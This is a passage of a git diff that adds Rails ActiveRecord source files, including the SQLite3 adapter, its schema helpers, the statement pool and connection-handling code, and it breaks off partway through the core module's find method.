+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/sqlite3/schema_definitions.rb
new file mode 100644
index 0000000000..501f17dbad
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3/schema_definitions.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module SQLite3
+      module ColumnMethods
+        def primary_key(name, type = :primary_key, **options)
+          if %i(integer bigint).include?(type) && (options.delete(:auto_increment) == true || !options.key?(:default))
+            type = :primary_key
+          end
+
+          super
+        end
+      end
+
+      class TableDefinition < ActiveRecord::ConnectionAdapters::TableDefinition
+        include ColumnMethods
+
+        def references(*args, **options)
+          super(*args, type: :integer, **options)
+        end
+        alias :belongs_to :references
+      end
+
+      class Table < ActiveRecord::ConnectionAdapters::Table
+        include ColumnMethods
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3/schema_dumper.rb b/activerecord/lib/active_record/connection_adapters/sqlite3/schema_dumper.rb
new file mode 100644
index 0000000000..ab057c73f1
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3/schema_dumper.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module SQLite3
+      module ColumnDumper # :nodoc:
+        private
+
+          def default_primary_key?(column)
+            schema_type(column) == :integer
+          end
+
+          def explicit_primary_key_default?(column)
+            column.bigint?
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/sqlite3/schema_statements.rb
new file mode 100644
index 0000000000..c155e7f1ac
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3/schema_statements.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module SQLite3
+      module SchemaStatements # :nodoc:
+        # Returns an array of indexes for the given table.
+        def indexes(table_name, name = nil)
+          if name
+            ActiveSupport::Deprecation.warn(<<-MSG.squish)
+              Passing name to #indexes is deprecated without replacement.
+            MSG
+          end
+
+          exec_query("PRAGMA index_list(#{quote_table_name(table_name)})", "SCHEMA").map do |row|
+            index_sql = query_value(<<-SQL, "SCHEMA")
+              SELECT sql
+              FROM sqlite_master
+              WHERE name = #{quote(row['name'])} AND type = 'index'
+              UNION ALL
+              SELECT sql
+              FROM sqlite_temp_master
+              WHERE name = #{quote(row['name'])} AND type = 'index'
+            SQL
+
+            /\sWHERE\s+(?<where>.+)$/i =~ index_sql
+
+            columns = exec_query("PRAGMA index_info(#{quote(row['name'])})", "SCHEMA").map do |col|
+              col["name"]
+            end
+
+            IndexDefinition.new(
+              table_name,
+              row["name"],
+              row["unique"] != 0,
+              columns,
+              where: where
+            )
+          end
+        end
+
+        private
+          def schema_creation
+            SQLite3::SchemaCreation.new(self)
+          end
+
+          def create_table_definition(*args)
+            SQLite3::TableDefinition.new(*args)
+          end
+
+          def new_column_from_field(table_name, field)
+            default = \
+              case field["dflt_value"]
+              when /^null$/i
+                nil
+              when /^'(.*)'$/m
+                $1.gsub("''", "'")
+              when /^"(.*)"$/m
+                $1.gsub('""', '"')
+              else
+                field["dflt_value"]
+              end
+
+            type_metadata = fetch_type_metadata(field["type"])
+            Column.new(field["name"], default, type_metadata, field["notnull"].to_i == 0, table_name, nil, field["collation"])
+          end
+
+          def data_source_sql(name = nil, type: nil)
+            scope = quoted_scope(name, type: type)
+            scope[:type] ||= "'table','view'"
+
+            sql = "SELECT name FROM sqlite_master WHERE name <> 'sqlite_sequence'".dup
+            sql << " AND name = #{scope[:name]}" if scope[:name]
+            sql << " AND type IN (#{scope[:type]})"
+            sql
+          end
+
+          def quoted_scope(name = nil, type: nil)
+            type = \
+              case type
+              when "BASE TABLE"
+                "'table'"
+              when "VIEW"
+                "'view'"
+              end
+            scope = {}
+            scope[:name] = quote(name) if name
+            scope[:type] = type if type
+            scope
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
new file mode 100644
index 0000000000..8c12cb09bd
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
@@ -0,0 +1,537 @@
+# frozen_string_literal: true
+
+require_relative "abstract_adapter"
+require_relative "statement_pool"
+require_relative "sqlite3/explain_pretty_printer"
+require_relative "sqlite3/quoting"
+require_relative "sqlite3/schema_creation"
+require_relative "sqlite3/schema_definitions"
+require_relative "sqlite3/schema_dumper"
+require_relative "sqlite3/schema_statements"
+
+gem "sqlite3", "~> 1.3.6"
+require "sqlite3"
+
+module ActiveRecord
+  module ConnectionHandling # :nodoc:
+    def sqlite3_connection(config)
+      # Require database.
+      unless config[:database]
+        raise ArgumentError, "No database file specified. Missing argument: database"
+      end
+
+      # Allow database path relative to Rails.root, but only if the database
+      # path is not the special path that tells sqlite to build a database only
+      # in memory.
+      if ":memory:" != config[:database]
+        config[:database] = File.expand_path(config[:database], Rails.root) if defined?(Rails.root)
+        dirname = File.dirname(config[:database])
+        Dir.mkdir(dirname) unless File.directory?(dirname)
+      end
+
+      db = SQLite3::Database.new(
+        config[:database].to_s,
+        results_as_hash: true
+      )
+
+      db.busy_timeout(ConnectionAdapters::SQLite3Adapter.type_cast_config_to_integer(config[:timeout])) if config[:timeout]
+
+      ConnectionAdapters::SQLite3Adapter.new(db, logger, nil, config)
+    rescue Errno::ENOENT => error
+      if error.message.include?("No such file or directory")
+        raise ActiveRecord::NoDatabaseError
+      else
+        raise
+      end
+    end
+  end
+
+  module ConnectionAdapters #:nodoc:
+    # The SQLite3 adapter works SQLite 3.6.16 or newer
+    # with the sqlite3-ruby drivers (available as gem from https://rubygems.org/gems/sqlite3).
+    #
+    # Options:
+    #
+    # * <tt>:database</tt> - Path to the database file.
+    class SQLite3Adapter < AbstractAdapter
+      ADAPTER_NAME = "SQLite".freeze
+
+      include SQLite3::Quoting
+      include SQLite3::ColumnDumper
+      include SQLite3::SchemaStatements
+
+      NATIVE_DATABASE_TYPES = {
+        primary_key:  "INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL",
+        string:       { name: "varchar" },
+        text:         { name: "text" },
+        integer:      { name: "integer" },
+        float:        { name: "float" },
+        decimal:      { name: "decimal" },
+        datetime:     { name: "datetime" },
+        time:         { name: "time" },
+        date:         { name: "date" },
+        binary:       { name: "blob" },
+        boolean:      { name: "boolean" }
+      }
+
+      ##
+      # :singleton-method:
+      # Indicates whether boolean values are stored in sqlite3 databases as 1
+      # and 0 or 't' and 'f'. Leaving `ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer`
+      # set to false is deprecated. SQLite databases have used 't' and 'f' to
+      # serialize boolean values and must have old data converted to 1 and 0
+      # (its native boolean serialization) before setting this flag to true.
+      # Conversion can be accomplished by setting up a rake task which runs
+      #
+      #   ExampleModel.where("boolean_column = 't'").update_all(boolean_column: 1)
+      #   ExampleModel.where("boolean_column = 'f'").update_all(boolean_column: 0)
+      # for all models and all boolean columns, after which the flag must be set
+      # to true by adding the following to your application.rb file:
+      #
+      #   Rails.application.config.active_record.sqlite3.represent_boolean_as_integer = true
+      class_attribute :represent_boolean_as_integer, default: false
+
+      class StatementPool < ConnectionAdapters::StatementPool
+        private
+
+          def dealloc(stmt)
+            stmt[:stmt].close unless stmt[:stmt].closed?
+          end
+      end
+
+      def update_table_definition(table_name, base) # :nodoc:
+        SQLite3::Table.new(table_name, base)
+      end
+
+      def initialize(connection, logger, connection_options, config)
+        super(connection, logger, config)
+
+        @active     = nil
+        @statements = StatementPool.new(self.class.type_cast_config_to_integer(config[:statement_limit]))
+
+        configure_connection
+      end
+
+      def supports_ddl_transactions?
+        true
+      end
+
+      def supports_savepoints?
+        true
+      end
+
+      def supports_partial_index?
+        sqlite_version >= "3.8.0"
+      end
+
+      def requires_reloading?
+        true
+      end
+
+      def supports_foreign_keys_in_create?
+        sqlite_version >= "3.6.19"
+      end
+
+      def supports_views?
+        true
+      end
+
+      def supports_datetime_with_precision?
+        true
+      end
+
+      def supports_multi_insert?
+        sqlite_version >= "3.7.11"
+      end
+
+      def active?
+        @active != false
+      end
+
+      # Disconnects from the database if already connected. Otherwise, this
+      # method does nothing.
+      def disconnect!
+        super
+        @active = false
+        @connection.close rescue nil
+      end
+
+      # Clears the prepared statements cache.
+      def clear_cache!
+        @statements.clear
+      end
+
+      def supports_index_sort_order?
+        true
+      end
+
+      # Returns 62. SQLite supports index names up to 64
+      # characters. The rest is used by Rails internally to perform
+      # temporary rename operations
+      def allowed_index_name_length
+        index_name_length - 2
+      end
+
+      def native_database_types #:nodoc:
+        NATIVE_DATABASE_TYPES
+      end
+
+      # Returns the current database encoding format as a string, eg: 'UTF-8'
+      def encoding
+        @connection.encoding.to_s
+      end
+
+      def supports_explain?
+        true
+      end
+
+      # REFERENTIAL INTEGRITY ====================================
+
+      def disable_referential_integrity # :nodoc:
+        old = query_value("PRAGMA foreign_keys")
+
+        begin
+          execute("PRAGMA foreign_keys = OFF")
+          yield
+        ensure
+          execute("PRAGMA foreign_keys = #{old}")
+        end
+      end
+
+      #--
+      # DATABASE STATEMENTS ======================================
+      #++
+
+      def explain(arel, binds = [])
+        sql, binds = to_sql(arel, binds)
+        sql = "EXPLAIN QUERY PLAN #{sql}"
+        SQLite3::ExplainPrettyPrinter.new.pp(exec_query(sql, "EXPLAIN", []))
+      end
+
+      def exec_query(sql, name = nil, binds = [], prepare: false)
+        type_casted_binds = type_casted_binds(binds)
+
+        log(sql, name, binds, type_casted_binds) do
+          ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
+            # Don't cache statements if they are not prepared
+            unless prepare
+              stmt = @connection.prepare(sql)
+              begin
+                cols = stmt.columns
+                unless without_prepared_statement?(binds)
+                  stmt.bind_params(type_casted_binds)
+                end
+                records = stmt.to_a
+              ensure
+                stmt.close
+              end
+            else
+              cache = @statements[sql] ||= {
+                stmt: @connection.prepare(sql)
+              }
+              stmt = cache[:stmt]
+              cols = cache[:cols] ||= stmt.columns
+              stmt.reset!
+              stmt.bind_params(type_casted_binds)
+              records = stmt.to_a
+            end
+
+            ActiveRecord::Result.new(cols, records)
+          end
+        end
+      end
+
+      def exec_delete(sql, name = "SQL", binds = [])
+        exec_query(sql, name, binds)
+        @connection.changes
+      end
+      alias :exec_update :exec_delete
+
+      def last_inserted_id(result)
+        @connection.last_insert_row_id
+      end
+
+      def execute(sql, name = nil) #:nodoc:
+        log(sql, name) do
+          ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
+            @connection.execute(sql)
+          end
+        end
+      end
+
+      def begin_db_transaction #:nodoc:
+        log("begin transaction", nil) { @connection.transaction }
+      end
+
+      def commit_db_transaction #:nodoc:
+        log("commit transaction", nil) { @connection.commit }
+      end
+
+      def exec_rollback_db_transaction #:nodoc:
+        log("rollback transaction", nil) { @connection.rollback }
+      end
+
+      # SCHEMA STATEMENTS ========================================
+
+      def primary_keys(table_name) # :nodoc:
+        pks = table_structure(table_name).select { |f| f["pk"] > 0 }
+        pks.sort_by { |f| f["pk"] }.map { |f| f["name"] }
+      end
+
+      def remove_index(table_name, options = {}) #:nodoc:
+        index_name = index_name_for_remove(table_name, options)
+        exec_query "DROP INDEX #{quote_column_name(index_name)}"
+      end
+
+      # Renames a table.
+      #
+      # Example:
+      #   rename_table('octopuses', 'octopi')
+      def rename_table(table_name, new_name)
+        exec_query "ALTER TABLE #{quote_table_name(table_name)} RENAME TO #{quote_table_name(new_name)}"
+        rename_table_indexes(table_name, new_name)
+      end
+
+      # See: http://www.sqlite.org/lang_altertable.html
+      # SQLite has an additional restriction on the ALTER TABLE statement
+      def valid_alter_table_type?(type)
+        type.to_sym != :primary_key
+      end
+
+      def add_column(table_name, column_name, type, options = {}) #:nodoc:
+        if valid_alter_table_type?(type)
+          super(table_name, column_name, type, options)
+        else
+          alter_table(table_name) do |definition|
+            definition.column(column_name, type, options)
+          end
+        end
+      end
+
+      def remove_column(table_name, column_name, type = nil, options = {}) #:nodoc:
+        alter_table(table_name) do |definition|
+          definition.remove_column column_name
+        end
+      end
+
+      def change_column_default(table_name, column_name, default_or_changes) #:nodoc:
+        default = extract_new_default_value(default_or_changes)
+
+        alter_table(table_name) do |definition|
+          definition[column_name].default = default
+        end
+      end
+
+      def change_column_null(table_name, column_name, null, default = nil) #:nodoc:
+        unless null || default.nil?
+          exec_query("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
+        end
+        alter_table(table_name) do |definition|
+          definition[column_name].null = null
+        end
+      end
+
+      def change_column(table_name, column_name, type, options = {}) #:nodoc:
+        alter_table(table_name) do |definition|
+          definition[column_name].instance_eval do
+            self.type    = type
+            self.limit   = options[:limit] if options.include?(:limit)
+            self.default = options[:default] if options.include?(:default)
+            self.null    = options[:null] if options.include?(:null)
+            self.precision = options[:precision] if options.include?(:precision)
+            self.scale = options[:scale] if options.include?(:scale)
+            self.collation = options[:collation] if options.include?(:collation)
+          end
+        end
+      end
+
+      def rename_column(table_name, column_name, new_column_name) #:nodoc:
+        column = column_for(table_name, column_name)
+        alter_table(table_name, rename: { column.name => new_column_name.to_s })
+        rename_column_indexes(table_name, column.name, new_column_name)
+      end
+
+      def add_reference(table_name, ref_name, **options) # :nodoc:
+        super(table_name, ref_name, type: :integer, **options)
+      end
+      alias :add_belongs_to :add_reference
+
+      def foreign_keys(table_name)
+        fk_info = exec_query("PRAGMA foreign_key_list(#{quote(table_name)})", "SCHEMA")
+        fk_info.map do |row|
+          options = {
+            column: row["from"],
+            primary_key: row["to"],
+            on_delete: extract_foreign_key_action(row["on_delete"]),
+            on_update: extract_foreign_key_action(row["on_update"])
+          }
+          ForeignKeyDefinition.new(table_name, row["table"], options)
+        end
+      end
+
+      def insert_fixtures(rows, table_name)
+        rows.each do |row|
+          insert_fixture(row, table_name)
+        end
+      end
+
+      private
+
+        def table_structure(table_name)
+          structure = exec_query("PRAGMA table_info(#{quote_table_name(table_name)})", "SCHEMA")
+          raise(ActiveRecord::StatementInvalid, "Could not find table '#{table_name}'") if structure.empty?
+          table_structure_with_collation(table_name, structure)
+        end
+        alias column_definitions table_structure
+
+        def alter_table(table_name, options = {})
+          altered_table_name = "a#{table_name}"
+          caller = lambda { |definition| yield definition if block_given? }
+
+          transaction do
+            move_table(table_name, altered_table_name,
+              options.merge(temporary: true))
+            move_table(altered_table_name, table_name, &caller)
+          end
+        end
+
+        def move_table(from, to, options = {}, &block)
+          copy_table(from, to, options, &block)
+          drop_table(from)
+        end
+
+        def copy_table(from, to, options = {})
+          from_primary_key = primary_key(from)
+          options[:id] = false
+          create_table(to, options) do |definition|
+            @definition = definition
+            @definition.primary_key(from_primary_key) if from_primary_key.present?
+            columns(from).each do |column|
+              column_name = options[:rename] ?
+                (options[:rename][column.name] ||
+                 options[:rename][column.name.to_sym] ||
+                 column.name) : column.name
+              next if column_name == from_primary_key
+
+              @definition.column(column_name, column.type,
+                limit: column.limit, default: column.default,
+                precision: column.precision, scale: column.scale,
+                null: column.null, collation: column.collation)
+            end
+            yield @definition if block_given?
+          end
+          copy_table_indexes(from, to, options[:rename] || {})
+          copy_table_contents(from, to,
+            @definition.columns.map(&:name),
+            options[:rename] || {})
+        end
+
+        def copy_table_indexes(from, to, rename = {})
+          indexes(from).each do |index|
+            name = index.name
+            if to == "a#{from}"
+              name = "t#{name}"
+            elsif from == "a#{to}"
+              name = name[1..-1]
+            end
+
+            to_column_names = columns(to).map(&:name)
+            columns = index.columns.map { |c| rename[c] || c }.select do |column|
+              to_column_names.include?(column)
+            end
+
+            unless columns.empty?
+              # index name can't be the same
+              opts = { name: name.gsub(/(^|_)(#{from})_/, "\\1#{to}_"), internal: true }
+              opts[:unique] = true if index.unique
+              add_index(to, columns, opts)
+            end
+          end
+        end
+
+        def copy_table_contents(from, to, columns, rename = {})
+          column_mappings = Hash[columns.map { |name| [name, name] }]
+          rename.each { |a| column_mappings[a.last] = a.first }
+          from_columns = columns(from).collect(&:name)
+          columns = columns.find_all { |col| from_columns.include?(column_mappings[col]) }
+          from_columns_to_copy = columns.map { |col| column_mappings[col] }
+          quoted_columns = columns.map { |col| quote_column_name(col) } * ","
+          quoted_from_columns = from_columns_to_copy.map { |col| quote_column_name(col) } * ","
+
+          exec_query("INSERT INTO #{quote_table_name(to)} (#{quoted_columns})
+                     SELECT #{quoted_from_columns} FROM #{quote_table_name(from)}")
+        end
+
+        def sqlite_version
+          @sqlite_version ||= SQLite3Adapter::Version.new(query_value("SELECT sqlite_version(*)"))
+        end
+
+        def translate_exception(exception, message)
+          case exception.message
+          # SQLite 3.8.2 returns a newly formatted error message:
+          #   UNIQUE constraint failed: *table_name*.*column_name*
+          # Older versions of SQLite return:
+          #   column *column_name* is not unique
+          when /column(s)? .* (is|are) not unique/, /UNIQUE constraint failed: .*/
+            RecordNotUnique.new(message)
+          when /.* may not be NULL/, /NOT NULL constraint failed: .*/
+            NotNullViolation.new(message)
+          when /FOREIGN KEY constraint failed/i
+            InvalidForeignKey.new(message)
+          else
+            super
+          end
+        end
+
+        COLLATE_REGEX = /.*\"(\w+)\".*collate\s+\"(\w+)\".*/i.freeze
+
+        def table_structure_with_collation(table_name, basic_structure)
+          collation_hash = {}
+          sql = <<-SQL
+            SELECT sql FROM
+              (SELECT * FROM sqlite_master UNION ALL
+               SELECT * FROM sqlite_temp_master)
+            WHERE type = 'table' AND name = #{quote(table_name)}
+          SQL
+
+          # Result will have following sample string
+          # CREATE TABLE "users" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,
+          #                       "password_digest" varchar COLLATE "NOCASE");
+          result = exec_query(sql, "SCHEMA").first
+
+          if result
+            # Splitting with left parentheses and picking up last will return all
+            # columns separated with comma(,).
+            columns_string = result["sql"].split("(").last
+
+            columns_string.split(",").each do |column_string|
+              # This regex will match the column name and collation type and will save
+              # the value in $1 and $2 respectively.
+              collation_hash[$1] = $2 if COLLATE_REGEX =~ column_string
+            end
+
+            basic_structure.map! do |column|
+              column_name = column["name"]
+
+              if collation_hash.has_key? column_name
+                column["collation"] = collation_hash[column_name]
+              end
+
+              column
+            end
+          else
+            basic_structure.to_hash
+          end
+        end
+
+        def arel_visitor
+          Arel::Visitors::SQLite.new(self)
+        end
+
+        def configure_connection
+          execute("PRAGMA foreign_keys = ON", "SCHEMA")
+        end
+    end
+    ActiveSupport.run_load_hooks(:active_record_sqlite3adapter, SQLite3Adapter)
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/statement_pool.rb b/activerecord/lib/active_record/connection_adapters/statement_pool.rb
new file mode 100644
index 0000000000..46bd831da7
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/statement_pool.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    class StatementPool # :nodoc:
+      include Enumerable
+
+      DEFAULT_STATEMENT_LIMIT = 1000
+
+      def initialize(statement_limit = nil)
+        @cache = Hash.new { |h, pid| h[pid] = {} }
+        @statement_limit = statement_limit || DEFAULT_STATEMENT_LIMIT
+      end
+
+      def each(&block)
+        cache.each(&block)
+      end
+
+      def key?(key)
+        cache.key?(key)
+      end
+
+      def [](key)
+        cache[key]
+      end
+
+      def length
+        cache.length
+      end
+
+      def []=(sql, stmt)
+        while @statement_limit <= cache.size
+          dealloc(cache.shift.last)
+        end
+        cache[sql] = stmt
+      end
+
+      def clear
+        cache.each_value do |stmt|
+          dealloc stmt
+        end
+        cache.clear
+      end
+
+      def delete(key)
+        dealloc cache[key]
+        cache.delete(key)
+      end
+
+      private
+
+        def cache
+          @cache[Process.pid]
+        end
+
+        def dealloc(stmt)
+          raise NotImplementedError
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_handling.rb b/activerecord/lib/active_record/connection_handling.rb
new file mode 100644
index 0000000000..9a47edfba4
--- /dev/null
+++ b/activerecord/lib/active_record/connection_handling.rb
@@ -0,0 +1,145 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionHandling
+    RAILS_ENV   = -> { (Rails.env if defined?(Rails.env)) || ENV["RAILS_ENV"].presence || ENV["RACK_ENV"].presence }
+    DEFAULT_ENV = -> { RAILS_ENV.call || "default_env" }
+
+    # Establishes the connection to the database. Accepts a hash as input where
+    # the <tt>:adapter</tt> key must be specified with the name of a database adapter (in lower-case)
+    # example for regular databases (MySQL, PostgreSQL, etc):
+    #
+    #   ActiveRecord::Base.establish_connection(
+    #     adapter:  "mysql2",
+    #     host:     "localhost",
+    #     username: "myuser",
+    #     password: "mypass",
+    #     database: "somedatabase"
+    #   )
+    #
+    # Example for SQLite database:
+    #
+    #   ActiveRecord::Base.establish_connection(
+    #     adapter:  "sqlite3",
+    #     database: "path/to/dbfile"
+    #   )
+    #
+    # Also accepts keys as strings (for parsing from YAML for example):
+    #
+    #   ActiveRecord::Base.establish_connection(
+    #     "adapter"  => "sqlite3",
+    #     "database" => "path/to/dbfile"
+    #   )
+    #
+    # Or a URL:
+    #
+    #   ActiveRecord::Base.establish_connection(
+    #     "postgres://myuser:mypass@localhost/somedatabase"
+    #   )
+    #
+    # In case {ActiveRecord::Base.configurations}[rdoc-ref:Core.configurations]
+    # is set (Rails automatically loads the contents of config/database.yml into it),
+    # a symbol can also be given as argument, representing a key in the
+    # configuration hash:
+    #
+    #   ActiveRecord::Base.establish_connection(:production)
+    #
+    # The exceptions AdapterNotSpecified, AdapterNotFound and +ArgumentError+
+    # may be returned on an error.
+    def establish_connection(config = nil)
+      raise "Anonymous class is not allowed." unless name
+
+      config ||= DEFAULT_ENV.call.to_sym
+      spec_name = self == Base ? "primary" : name
+      self.connection_specification_name = spec_name
+
+      resolver = ConnectionAdapters::ConnectionSpecification::Resolver.new(Base.configurations)
+      spec = resolver.resolve(config).symbolize_keys
+      spec[:name] = spec_name
+
+      connection_handler.establish_connection(spec)
+    end
+
+    class MergeAndResolveDefaultUrlConfig # :nodoc:
+      def initialize(raw_configurations)
+        @raw_config = raw_configurations.dup
+        @env = DEFAULT_ENV.call.to_s
+      end
+
+      # Returns fully resolved connection hashes.
+      # Merges connection information from `ENV['DATABASE_URL']` if available.
+      def resolve
+        ConnectionAdapters::ConnectionSpecification::Resolver.new(config).resolve_all
+      end
+
+      private
+        def config
+          @raw_config.dup.tap do |cfg|
+            if url = ENV["DATABASE_URL"]
+              cfg[@env] ||= {}
+              cfg[@env]["url"] ||= url
+            end
+          end
+        end
+    end
+
+    # Returns the connection currently associated with the class. This can
+    # also be used to "borrow" the connection to do database work unrelated
+    # to any of the specific Active Records.
+    def connection
+      retrieve_connection
+    end
+
+    attr_writer :connection_specification_name
+
+    # Return the specification name from the current class or its parent.
+    def connection_specification_name
+      if !defined?(@connection_specification_name) || @connection_specification_name.nil?
+        return self == Base ? "primary" : superclass.connection_specification_name
+      end
+      @connection_specification_name
+    end
+
+    # Returns the configuration of the associated connection as a hash:
+    #
+    #  ActiveRecord::Base.connection_config
+    #  # => {pool: 5, timeout: 5000, database: "db/development.sqlite3", adapter: "sqlite3"}
+    #
+    # Please use only for reading.
+    def connection_config
+      connection_pool.spec.config
+    end
+
+    def connection_pool
+      connection_handler.retrieve_connection_pool(connection_specification_name) || raise(ConnectionNotEstablished)
+    end
+
+    def retrieve_connection
+      connection_handler.retrieve_connection(connection_specification_name)
+    end
+
+    # Returns +true+ if Active Record is connected.
+    def connected?
+      connection_handler.connected?(connection_specification_name)
+    end
+
+    def remove_connection(name = nil)
+      name ||= @connection_specification_name if defined?(@connection_specification_name)
+      # if removing a connection that has a pool, we reset the
+      # connection_specification_name so it will use the parent
+      # pool.
+      if connection_handler.retrieve_connection_pool(name)
+        self.connection_specification_name = nil
+      end
+
+      connection_handler.remove_connection(name)
+    end
+
+    def clear_cache! # :nodoc:
+      connection.schema_cache.clear!
+    end
+
+    delegate :clear_active_connections!, :clear_reloadable_connections!,
+      :clear_all_connections!, to: :connection_handler
+  end
+end
diff --git a/activerecord/lib/active_record/core.rb b/activerecord/lib/active_record/core.rb
new file mode 100644
index 0000000000..8b97dbe5bf
--- /dev/null
+++ b/activerecord/lib/active_record/core.rb
@@ -0,0 +1,562 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/indifferent_access"
+require "active_support/core_ext/string/filters"
+
+module ActiveRecord
+  module Core
+    extend ActiveSupport::Concern
+
+    included do
+      ##
+      # :singleton-method:
+      #
+      # Accepts a logger conforming to the interface of Log4r which is then
+      # passed on to any new database connections made and which can be
+      # retrieved on both a class and instance level by calling +logger+.
+      mattr_accessor :logger, instance_writer: false
+
+      ##
+      # Contains the database configuration - as is typically stored in config/database.yml -
+      # as a Hash.
+      #
+      # For example, the following database.yml...
+      #
+      #   development:
+      #     adapter: sqlite3
+      #     database: db/development.sqlite3
+      #
+      #   production:
+      #     adapter: sqlite3
+      #     database: db/production.sqlite3
+      #
+      # ...would result in ActiveRecord::Base.configurations to look like this:
+      #
+      #   {
+      #      'development' => {
+      #         'adapter'  => 'sqlite3',
+      #         'database' => 'db/development.sqlite3'
+      #      },
+      #      'production' => {
+      #         'adapter'  => 'sqlite3',
+      #         'database' => 'db/production.sqlite3'
+      #      }
+      #   }
+      def self.configurations=(config)
+        @@configurations = ActiveRecord::ConnectionHandling::MergeAndResolveDefaultUrlConfig.new(config).resolve
+      end
+      self.configurations = {}
+
+      # Returns fully resolved configurations hash
+      def self.configurations
+        @@configurations
+      end
+
+      ##
+      # :singleton-method:
+      # Determines whether to use Time.utc (using :utc) or Time.local (using :local) when pulling
+      # dates and times from the database. This is set to :utc by default.
+      mattr_accessor :default_timezone, instance_writer: false, default: :utc
+
+      ##
+      # :singleton-method:
+      # Specifies the format to use when dumping the database schema with Rails'
+      # Rakefile. If :sql, the schema is dumped as (potentially database-
+      # specific) SQL statements. If :ruby, the schema is dumped as an
+      # ActiveRecord::Schema file which can be loaded into any database that
+      # supports migrations. Use :ruby if you want to have different database
+      # adapters for, e.g., your development and test environments.
+      mattr_accessor :schema_format, instance_writer: false, default: :ruby
+
+      ##
+      # :singleton-method:
+      # Specifies if an error should be raised if the query has an order being
+      # ignored when doing batch queries. Useful in applications where the
+      # scope being ignored is error-worthy, rather than a warning.
+      mattr_accessor :error_on_ignored_order, instance_writer: false, default: false
+
+      def self.error_on_ignored_order_or_limit
+        ActiveSupport::Deprecation.warn(<<-MSG.squish)
+          The flag error_on_ignored_order_or_limit is deprecated. Limits are
+          now supported. Please use error_on_ignored_order instead.
+        MSG
+        error_on_ignored_order
+      end
+
+      def error_on_ignored_order_or_limit
+        self.class.error_on_ignored_order_or_limit
+      end
+
+      def self.error_on_ignored_order_or_limit=(value)
+        ActiveSupport::Deprecation.warn(<<-MSG.squish)
+          The flag error_on_ignored_order_or_limit is deprecated. Limits are
+          now supported. Please use error_on_ignored_order= instead.
+        MSG
+        self.error_on_ignored_order = value
+      end
+
+      ##
+      # :singleton-method:
+      # Specify whether or not to use timestamps for migration versions
+      mattr_accessor :timestamped_migrations, instance_writer: false, default: true
+
+      ##
+      # :singleton-method:
+      # Specify whether schema dump should happen at the end of the
+      # db:migrate rake task. This is true by default, which is useful for the
+      # development environment. This should ideally be false in the production
+      # environment where dumping schema is rarely needed.
+      mattr_accessor :dump_schema_after_migration, instance_writer: false, default: true
+
+      ##
+      # :singleton-method:
+      # Specifies which database schemas to dump when calling db:structure:dump.
+      # If the value is :schema_search_path (the default), any schemas listed in
+      # schema_search_path are dumped. Use :all to dump all schemas regardless
+      # of schema_search_path, or a string of comma separated schemas for a
+      # custom list.
+      mattr_accessor :dump_schemas, instance_writer: false, default: :schema_search_path
+
+      ##
+      # :singleton-method:
+      # Specify a threshold for the size of query result sets. If the number of
+      # records in the set exceeds the threshold, a warning is logged. This can
+      # be used to identify queries which load thousands of records and
+      # potentially cause memory bloat.
+      mattr_accessor :warn_on_records_fetched_greater_than, instance_writer: false
+
+      mattr_accessor :maintain_test_schema, instance_accessor: false
+
+      mattr_accessor :belongs_to_required_by_default, instance_accessor: false
+
+      class_attribute :default_connection_handler, instance_writer: false
+
+      def self.connection_handler
+        ActiveRecord::RuntimeRegistry.connection_handler || default_connection_handler
+      end
+
+      def self.connection_handler=(handler)
+        ActiveRecord::RuntimeRegistry.connection_handler = handler
+      end
+
+      self.default_connection_handler = ConnectionAdapters::ConnectionHandler.new
+    end
+
+    module ClassMethods
+      def allocate
+        define_attribute_methods
+        super
+      end
+
+      def initialize_find_by_cache # :nodoc:
+        @find_by_statement_cache = { true => {}.extend(Mutex_m), false => {}.extend(Mutex_m) }
+      end
+
+      def inherited(child_class) # :nodoc:
+        # initialize cache at class definition for thread safety
+        child_class.initialize_find_by_cache
+        super
+      end
+
+      def find(*ids) # :nodoc:
+        # We don't have cache keys for this stuff yet
+        return super unless ids.length == 1
+        return super if block_given? ||
+                        primary_key.nil? ||
+                        scope_attributes? ||
+                        columns_hash.include?(inheritance_column)
+
+        id = ids.first
+
+        return super if id.kind_of?(Array) ||
+                         id.is_a?(ActiveRecord::Base)
+
+        key = primary_key
+
+        statement = cached_find_by_statement(key) { |params|
+          where(key => params.bind).limit(1)
+        }
+
+        record = statement.execute([id], self, connection).first
+        unless record
+          raise RecordNotFound.new("Couldn't find #{name} with '#{primary_key}'=#{id}",
+                                   name, primary_key, id)
+        end
+        record
+      rescue ::RangeError
+        raise RecordNotFound.new("Couldn't find #{name} with an out of range value for '#{primary_key}'",
+                                 name, primary_key)
+      end
+
